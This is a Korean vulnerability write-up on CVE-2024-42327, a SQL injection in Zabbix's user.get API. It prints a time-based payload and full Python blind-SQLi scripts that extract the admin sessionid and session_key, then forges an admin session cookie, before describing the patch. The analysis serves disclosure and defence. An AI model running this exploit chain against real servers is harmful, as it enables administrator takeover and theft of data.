CVE-2024-42327:Zabbix Server SQL Injection Vulnerability

CVE

라온시큐어 화이트햇센터 핵심연구팀 박영욱

CVE-2024-42327:Zabbix Server SQL Injection Vulnerability

1. 개요

CVE-2024-42327은 Zabbix의 user.get API에서 발생하는 SQL Injection 취약점입니다.

이 취약점은 2024년 11월 27일에 등재되었으며, Zabbix의 CUser 클래스 내 addRelatedObjects 함수에서 입력값 검증이 제대로 이루어지지 않아 발생한 것으로 확인되었습니다. 특히, 이 함수는 API 접근 권한을 가진 모든 사용자가 호출할 수 있는 CUser.get 함수에서 실행되기 때문에, 권한이 낮은 사용자도 이 취약점을 악용할 수 있습니다.

CVE-2024-42327 취약점의 발생 원리와 그리고 해당 취약점에 대한 패치 방법을 자세히 살펴보겠습니다.

2. 배경지식

Zabbix

Zabbix는 서버, 네트워크 장치, 애플리케이션 등의 IT 인프라를 실시간으로 모니터링하는 오픈 소스 소프트웨어입니다. 확장성과 자동화 기능을 갖추고 있어 대규모 환경에서도 안정적으로 활용 가능한 모니터링 도구입니다.

SQL Injection

SQL Injection은 웹 애플리케이션이 사용자 입력값을 제대로 검증하지 않을 때 발생합니다. 공격자는 이를 통해 데이터베이스에 조작된 SQL 쿼리를 주입하여 민감한 정보를 탈취하거나, 인증을 우회하고, 데이터를 삭제 또는 수정하는 등의 악의적인 작업을 수행할 수 있는 취약점입니다.

3. CVE-2024-42327

Affected version

테스트환경

환경 버전
Zabbix 7.0.0
Ubuntu 22.04
PHP 8.1.2
mysql 8.0.40
apache2 2.4.52

취약점 요약

/assets/2025-01-02-youngdu/image.pngimage.png

CVSS 점수 9.9로 평가된 이 취약점은 Zabbix API의 일반 사용자 계정 auth 값을 이용하여 user.get 메서드를 호출할 때 발생하는 SQL Injection 취약점 입니다.

API 요청 과정에서 입력값에 대한 검증이 충분히 이루어지지 않아, selectRole 매개변수를 통해 조작된 SQL 명령을 삽입할 수 있으며, 이를 악용해 권한이 없는 사용자가 관리자 계정 정보를 포함한 민감한 데이터에 접근하거나 권한을 상승시킬 수 있습니다.

이러한 취약점을 통해 데이터베이스에 존재하는 관리자 세션을 탈취하여 관리자권한을 얻는 과정을 단계적으로 설명드리겠습니다.

취약점 분석

1. api_jsonrpc.php

api_jsonrpc.php는 클라이언트가 입력한 JSON 형식의 데이터를 파싱하여 method에 따라 API를 호출하고, 전달된 params 값을 기반으로 API 메서드를 실행한 뒤 결과를 JSON 형식으로 반환하는 역할을 합니다.

$data = $http_request->body();

try {
	APP::getInstance()->run(APP::EXEC_MODE_API);

	$apiClient = API::getWrapper()->getClient();

	// unset wrappers so that calls between methods would be made directly to the services
	API::setWrapper();

	$jsonRpc = new CJsonRpc($apiClient, $data);
	echo $jsonRpc->execute($http_request);
}
catch (Exception $e) {
	// decode input json request to get request's id
	$jsonData = json_decode($data, true);

	$response = [
		'jsonrpc' => '2.0',
		'error' => [
			'code' => 1,
			'message' => $e->getMessage(),
			'data' => ''
		],
		'id' => (isset($jsonData['id']) ? $jsonData['id'] : null)
	];

	echo json_encode($response);

해당 파일은 JSON-RPC 요청을 처리하는 부분으로, 클라이언트 입력 데이터를 파싱하여 CJsonRpc 객체를 통해 실행합니다.

2. auth값 획득 및 user.get API 호출


Zabbix API를 사용하려면 유효한 auth 값이 필요합니다. 이는 user.login API를 통해 얻을 수 있으며, 일반 사용자 계정의 auth 값으로도 취약점을 유발할 수 있습니다. 아래는 auth 값을 요청하는 방식입니다.

{
  "jsonrpc": "2.0",
  "method": "user.login",
  "params": {
    "username":"test",
    "password":"{REDACTED}"
    },
    "id":1
    }

서버는 요청에 대해 인증 토큰(auth)을 반환합니다.

/assets/2025-01-02-youngdu/image.png

획득한 auth 값을 사용해 user.get API를 호출하여 정상적으로 동작하는지 확인할 수 있습니다.

{
  "jsonrpc": "2.0",
  "method": "user.get",
  "params": {
    "selectRole": [
      "roleid",
      "name",
      "type",
"readonly"
    ],
    "userids": ["1", "2",
"3"
]
  },
  "id": 1,
  "auth": "775b26ca0a9cb0e549daeb031f92a37b"
}

/assets/2025-01-02-youngdu/image.png

위 요청이 성공하면 API 호출이 정상적으로 작동하며, 이후 공격자는 이를 기반으로 취약점을 악용할 수 있습니다.

3. SQL Injection 발생 확인

user.get API 호출 시 내부적으로 CUser.php 파일의 addRelatedObjects method를 호출하여 사용자 데이터를 처리합니다. 이 과정에서 입력값을 검증하지 않고 SQL 쿼리에 직접 포함하는 구조적 문제가 있어 SQL Injection 취약점이 발생할 수 있습니다.

CUser.php (addRelatedObjects method)

protected function addRelatedObjects(array $options, array $result) {
		$result = parent::addRelatedObjects($options, $result);

		$userIds = zbx_objectValues($result, 'userid');

		// adding usergroups
		if ($options['selectUsrgrps'] !== null && $options['selectUsrgrps'] != API_OUTPUT_COUNT) {
			$relationMap = $this->createRelationMap($result, 'userid', 'usrgrpid', 'users_groups');

			$dbUserGroups = API::UserGroup()->get([
				'output' => $options['selectUsrgrps'],
				'usrgrpids' => $relationMap->getRelatedIds(),
				'preservekeys' => true
			]);

			$result = $relationMap->mapMany($result, $dbUserGroups, 'usrgrps');
		}

		// adding medias
		if ($options['selectMedias'] !== null && $options['selectMedias'] != API_OUTPUT_COUNT) {
			$db_medias = API::getApiService()->select('media', [
				'output' => $this->outputExtend($options['selectMedias'], ['userid', 'mediaid', 'mediatypeid']),
				'filter' => ['userid' => $userIds],
				'preservekeys' => true
			]);

			// 'sendto' parameter in media types with 'type' == MEDIA_TYPE_EMAIL are returned as array.
			if (($options['selectMedias'] === API_OUTPUT_EXTEND || in_array('sendto', $options['selectMedias']))
					&& $db_medias) {
				$db_email_medias = DB::select('media_type', [
					'output' => [],
					'filter' => [
						'mediatypeid' => zbx_objectValues($db_medias, 'mediatypeid'),
						'type' => MEDIA_TYPE_EMAIL
					],
					'preservekeys' => true
				]);

				foreach ($db_medias as &$db_media) {
					if (array_key_exists($db_media['mediatypeid'], $db_email_medias)) {
						$db_media['sendto'] = explode("\n", $db_media['sendto']);
					}
				}
				unset($db_media);
			}

			$relationMap = $this->createRelationMap($db_medias, 'userid', 'mediaid');

			$db_medias = $this->unsetExtraFields($db_medias, ['userid', 'mediaid', 'mediatypeid'],
				$options['selectMedias']
			);
			$result = $relationMap->mapMany($result, $db_medias, 'medias');
		}

		// adding media types
		if ($options['selectMediatypes'] !== null && $options['selectMediatypes'] != API_OUTPUT_COUNT) {
			$mediaTypes = [];
			$relationMap = $this->createRelationMap($result, 'userid', 'mediatypeid', 'media');
			$related_ids = $relationMap->getRelatedIds();

			if ($related_ids) {
				$mediaTypes = API::Mediatype()->get([
					'output' => $options['selectMediatypes'],
					'mediatypeids' => $related_ids,
					'preservekeys' => true
				]);
			}

			$result = $relationMap->mapMany($result, $mediaTypes, 'mediatypes');
		}

		// adding user role
		if ($options['selectRole'] !== null && $options['selectRole'] !== API_OUTPUT_COUNT) {
			if ($options['selectRole'] === API_OUTPUT_EXTEND) {
				$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
			}

			$db_roles = DBselect(
				'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
				' FROM users u,role r'.
				' WHERE u.roleid=r.roleid'.
				' AND '.dbConditionInt('u.userid', $userIds)
			);

CUser.phpaddRelatedObjects method는 API 요청의 params 값 중 selectRole 매개변수를 사용하여 사용자와 관련된 데이터를 처리합니다. 하지만 selectRole 값이 적절히 검증되지 않고 SQL 쿼리 문자열에 포함되는 문제가 존재합니다.

// adding user role
		if ($options['selectRole'] !== null && $options['selectRole'] !== API_OUTPUT_COUNT) {
			if ($options['selectRole'] === API_OUTPUT_EXTEND) {
				$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
			}

			$db_roles = DBselect(
				'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
				' FROM users u,role r'.
				' WHERE u.roleid=r.roleid'.
				' AND '.dbConditionInt('u.userid', $userIds)
			);

			foreach ($result as $userid => $user) {
				$result[$userid]['role'] = [];
			}

			while ($db_role = DBfetch($db_roles)) {
				$userid = $db_role['userid'];
				unset($db_role['userid']);

				$result[$userid]['role'] = $db_role;
			}
		}

		return $result;
	}

위 코드에서 implode() 함수는 selectRole 값에 전달된 필드명을 SQL 쿼리 문자열에 그대로 포함시킵니다. 이로 인해 입력값 검증이 없을 경우 공격자가 SQL Injection을 발생시킬 수 있습니다.

따라서, 아래의 json을 요청하게 되면,

{
  "jsonrpc": "2.0",
  "method": "user.get",
  "params": {
    "selectRole": [
      "roleid",
      "name",
      "type",
"readonly AND (SELECT SLEEP(5))"
    ],
    "userids": ["1", "2",
"3"
]
  },
  "id": 1,
  "auth": "775b26ca0a9cb0e549daeb031f92a37b"
}

SQL 쿼리로는 다음과 같이 동작하게 되고, 결과적으로 SQL injection이 발생하는 것을 확인할 수 있습니다.

SELECT u.userid, r.roleid, r.name, r.type, r.readonly AND (SELECT SLEEP(5))
FROM users u, role r
WHERE u.roleid = r.roleid
AND u.userid IN (1, 2, 3);

/assets/2025-01-02-youngdu/image.png

SQL Injection이 발생하여 5~6초의 딜레이가 생긴 것을 확인할 수 있습니다.

4. Blind SQL Injection을 통한 관리자 권한 session 탈취

zabbix에서는 세션을 생성할 때, sessionidsession_key 가 필요합니다. 따라서, 해당 단계에서는 sessionidsession_key 를 탈취하는 방식에 대해 설명드리겠습니다.

Blind SQL Injection

DB명 : zabbix

참일 경우 반응

/assets/2025-01-02-youngdu/image.png

DB명의 첫번째 글자가 z이기 때문에 1이 반환되는 것을 알 수 있습니다.

거짓일 경우 반응

/assets/2025-01-02-youngdu/image.png

DB명의 첫번째 글자가 a이기 때문에 0이 반환되는 것을 알 수 있습니다.

위의 내용처럼, 참과 거짓의 응답 차이를 활용하여 데이터베이스 정보를 추출하는 방식을 Blind SQL Injection이라고 합니다.

  1. admin sessionid 탈취
import requests
url = "http://localhost/zabbix/api_jsonrpc.php"
auth_token = "775b26ca0a9cb0e549daeb031f92a37b" 
headers = {
    "Content-Type": "application/json"
}

def extract_session_id():
    session_id = ""
    print("[*] Extracting sessionid from sessions table...")

    for i in range(1, 50):  
        found_char = False
        for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789":
            payload = {
                "jsonrpc": "2.0",
                "method": "user.get",
                "params": {
                    "selectRole": [
                        f"readonly AND IF(SUBSTRING((SELECT sessionid FROM sessions where userid=1 LIMIT 1),{i},1)='{char}',1,0)"
                    ],
                    "userids": ["1"]
                },
                "id": 1,
                "auth": auth_token
            }
            response = requests.post(url, json=payload, headers=headers)
            result = response.json()

            try:
                
                key = f"r.readonly AND IF(SUBSTRING((SELECT sessionid FROM sessions where userid=1 LIMIT 1),{i},1)='{char}',1,0)"
                if result["result"][0]["role"].get(key) == "1":
                    session_id += char
                    print(f"[*] Found character: {char}")
                    found_char = True
                    break
            except KeyError:
                pass
        if not found_char:
            break
    print(f"[*] Extracted sessionid: {session_id}")
    return session_id
if __name__ == "__main__":
    extract_session_id()

/assets/2025-01-02-youngdu/image.png

readonly AND IF(SUBSTRING((SELECT sessionid FROM sessions where userid=1 LIMIT 1),{i},1)='{char}',1,0)

sessions 테이블에 존재하는 userid가 1인(Admin) 계정의 sessionid 를 한글자씩 추출하는 코드입니다.

admin session : f16aac39b446fc135e8ef19345e148d4

  1. session_key 탈취
import requests

url = "http://localhost/zabbix/api_jsonrpc.php"
auth_token = "775b26ca0a9cb0e549daeb031f92a37b" 
headers = {
    "Content-Type": "application/json"
}

def extract_session_key():
    session_key = ""
    print("[*] Extracting session_key from config table...")

    for i in range(1, 50):  
        found_char = False
        for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789":
            payload = {
                "jsonrpc": "2.0",
                "method": "user.get",
                "params": {
                    "selectRole": [
                        f"readonly AND IF(SUBSTRING((SELECT session_key FROM config LIMIT 1),{i},1)='{char}',1,0)"
                    ],
                    "userids": ["1"]
                },
                "id": 1,
                "auth": auth_token
            }

           
            response = requests.post(url, json=payload, headers=headers)
            result = response.json()

            try:
                
                key = f"r.readonly AND IF(SUBSTRING((SELECT session_key FROM config LIMIT 1),{i},1)='{char}',1,0)"
                if result["result"][0]["role"].get(key) == "1":
                    session_key += char
                    print(f"[*] Found character: {char}")
                    found_char = True
                    break
            except KeyError:
                pass

        
        if not found_char:
            break

    print(f"[*] Extracted session_key: {session_key}")
    return session_key

if __name__ == "__main__":
    extract_session_key()

/assets/2025-01-02-youngdu/image.png

readonly AND IF(SUBSTRING((SELECT session_key FROM config LIMIT 1),{i},1)='{char}',1,0)

config 테이블에 존재하는 session_key 를 한글자씩 추출하는 코드입니다.

session_key : c6a271aa63d4657cc5bcb3cfd26bbe95

5. 탈취한 세션을 통해 관리자 세션 생성 및 로그인

zabbix에서는 세션을 생성할때 sessionid와 해당 세션을 검증하는 sign으로 구성되어 있습니다.

sign은 HMAC-SHA256알고리즘을 사용하여 session_key를 기반으로 생성됩니다.

따라서, 탈취한 sessionidsession_key 를 통해 관리자의 세션을 생성할 수 있습니다.

import hmac
import hashlib
import base64
import json
import time
from collections import OrderedDict

def generate_session_cookie(session_id, session_key):
    def calculate_signature(data, key):
        key_bytes = key.encode()
        data_bytes = data.encode('utf-8')
        return hmac.new(key_bytes, data_bytes, hashlib.sha256).hexdigest()

    def encode_session_data(session_data, key):
        session_data_sorted = OrderedDict(sorted(session_data.items()))
        session_data_sorted['sign'] = calculate_signature(json.dumps(session_data_sorted, separators=(',', ':')), key)
        encoded_data = base64.b64encode(json.dumps(session_data_sorted, separators=(',', ':')).encode('utf-8')).decode('utf-8')
        return encoded_data

    session_structure = {
        "sessionid": session_id,
        "serverCheckResult": True,
        "serverCheckTime": int(time.time())
    }

    return encode_session_data(session_structure, session_key)

if __name__ == "__main__":
    session_id = "f16aac39b446fc135e8ef19345e148d4"
    session_key = "c6a271aa63d4657cc5bcb3cfd26bbe95"
    admin_session_cookie = generate_session_cookie(session_id, session_key)
    print(f"Generated Zabbix admin session cookie: {admin_session_cookie}")

/assets/2025-01-02-youngdu/image.png

생성된 세션을 통해 정상적으로 관리자로 로그인이 되는 것을 확인할 수 있습니다.

/assets/2025-01-02-youngdu/image.png

최종 POC 코드는 다음과 같습니다.

import requests
import hmac
import hashlib
import base64
import json
import time
from collections import OrderedDict

# 기본 설정
url = "http://localhost/zabbix/api_jsonrpc.php"
auth_token = "775b26ca0a9cb0e549daeb031f92a37b"  
headers = {
    "Content-Type": "application/json"
}

def extract_session_id():
    session_id = ""
    print("[*] Extracting sessionid from sessions table...")

    for i in range(1, 50):  
        found_char = False
        for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789":
            payload = {
                "jsonrpc": "2.0",
                "method": "user.get",
                "params": {
                    "selectRole": [
                        f"readonly AND IF(SUBSTRING((SELECT sessionid FROM sessions where userid=1 LIMIT 1),{i},1)='{char}',1,0)"
                    ],
                    "userids": ["1"]
                },
                "id": 1,
                "auth": auth_token
            }

            response = requests.post(url, json=payload, headers=headers)
            result = response.json()

            try:
                key = f"r.readonly AND IF(SUBSTRING((SELECT sessionid FROM sessions where userid=1 LIMIT 1),{i},1)='{char}',1,0)"
                if result["result"][0]["role"].get(key) == "1":
                    session_id += char
                    print(f"[*] Found character: {char}")
                    found_char = True
                    break
            except KeyError:
                pass

        if not found_char:
            break

    print(f"[*] Extracted sessionid: {session_id}")
    return session_id

def extract_session_key():
    session_key = ""
    print("[*] Extracting session_key from config table...")

    for i in range(1, 50):  
        found_char = False
        for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789":
            payload = {
                "jsonrpc": "2.0",
                "method": "user.get",
                "params": {
                    "selectRole": [
                        f"readonly AND IF(SUBSTRING((SELECT session_key FROM config LIMIT 1),{i},1)='{char}',1,0)"
                    ],
                    "userids": ["1"]
                },
                "id": 1,
                "auth": auth_token
            }

            response = requests.post(url, json=payload, headers=headers)
            result = response.json()

            try:
                key = f"r.readonly AND IF(SUBSTRING((SELECT session_key FROM config LIMIT 1),{i},1)='{char}',1,0)"
                if result["result"][0]["role"].get(key) == "1":
                    session_key += char
                    print(f"[*] Found character: {char}")
                    found_char = True
                    break
            except KeyError:
                pass

        if not found_char:
            break

    print(f"[*] Extracted session_key: {session_key}")
    return session_key

def generate_session_cookie(session_id, session_key):
    def calculate_signature(data, key):
        key_bytes = key.encode()
        data_bytes = data.encode('utf-8')
        return hmac.new(key_bytes, data_bytes, hashlib.sha256).hexdigest()

    def encode_session_data(session_data, key):
        session_data_sorted = OrderedDict(sorted(session_data.items()))
        session_data_sorted['sign'] = calculate_signature(json.dumps(session_data_sorted, separators=(',', ':')), key)
        encoded_data = base64.b64encode(json.dumps(session_data_sorted, separators=(',', ':')).encode('utf-8')).decode('utf-8')
        return encoded_data

    session_structure = {
        "sessionid": session_id,
        "serverCheckResult": True,
        "serverCheckTime": int(time.time())
    }

    return encode_session_data(session_structure, session_key)

if __name__ == "__main__":
    session_id = extract_session_id()
    session_key = extract_session_key()
    admin_session_cookie = generate_session_cookie(session_id, session_key)
    print(f"Generated Zabbix admin session cookie: {admin_session_cookie}")

4. 패치

UnAffected version

/assets/2025-01-02-youngdu/image.png

패치된 코드에서는 사용자 입력값인 $options['selectRole']이 직접 SQL 쿼리에 포함되지 않도록 수정된 것을 확인했습니다. 대신, API::Role()->get() 메서드를 사용하여 입력값을 검증하고 Prepared Statements를 통해 안전하게 처리되도록 구현된 것을 확인했습니다.

또한, 관계 매핑 과정에서 createRelationMap() 메서드를 사용하여 useridroleid 간의 관계를 미리 검증된 값으로 매핑하도록 개선된 점도 확인할 수 있었습니다. 이를 통해 외부 입력값이 동적 SQL 쿼리에 영향을 미치지 않도록 설계되었습니다.

이러한 수정 사항을 통해 입력값 검증이 강화되고, SQL Injection 취약점이 효과적으로 제거된 것을 볼 수 있었습니다.

5. 결론

CVE-2024-42327 SQL Injection 취약점은 Zabbix를 사용하는 환경의 보안에 심각한 위협이 될 수 있는 문제로, 이를 방지하기 위해 영향을 받는 버전일 경우 적절한 업그레이드가 필요합니다.

취약점이 확인된 버전을 사용 중이라면, 아래 안전한 버전으로 업그레이드 하는 것을 권고드립니다.

6. 참고자료

https://nvd.nist.gov/vuln/detail/CVE-2024-42327

https://support.zabbix.com/browse/ZBX-25623

https://github.com/compr00t/CVE-2024-42327

https://www.zabbix.com/documentation/current/en/manual/api